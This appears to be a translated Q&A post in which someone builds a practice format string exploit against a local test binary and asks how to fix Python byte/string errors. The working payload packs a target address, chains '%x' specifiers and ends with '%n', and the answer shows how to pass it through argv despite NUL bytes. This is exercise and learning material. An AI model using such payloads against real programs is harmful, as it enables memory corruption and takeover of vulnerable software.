问题描述
我正在尝试为练习创建漏洞利用,但我遇到以下代码的问题:
#!/usr/bin/python
import os
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
os.system("/home/osboxes/Desktop/formatString " + payload)
但是报错如下: TypeError: system() 参数 1 必须是没有空字节的字符串,而不是 str
我正在尝试使用“子进程”实用程序升级到当前版本的 python:
#!/usr/bin/python3
import subprocess
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
subprocess.call("/home/osboxes/Desktop/formatString " + payload,shell=True)
但是报错如下: 类型错误:无法将 str 连接到字节
如何解决两个版本的字节或字符串转换问题?两个程序都同意错误在“payload = ...”这一行
解决方法
该字符串不能在 UNIX 上作为命令行参数传递。
为什么?因为它包含 NUL 文字,而 UNIX 命令行由 C 字符串组成——它们以 NUL 结尾。
>>> address = struct.pack("I",0x201014)
>>> address
b'\x14\x10 \x00'
看到那个\x00
了吗?不允许,不可能——至少不是 one 命令行参数。
但是你可以把它放在一个argv中,只要它被分成多个参数。注意下面的shell=False
:
payload = (address + (b'.%x.' * 131) + b'.%n.').split(b'\0')
subprocess.call(['/home/osboxes/Desktop/formatString'] + payload)
这是如何工作的?因为终止每个单独的 C 字符串的 \x00
隐式存在于边界点。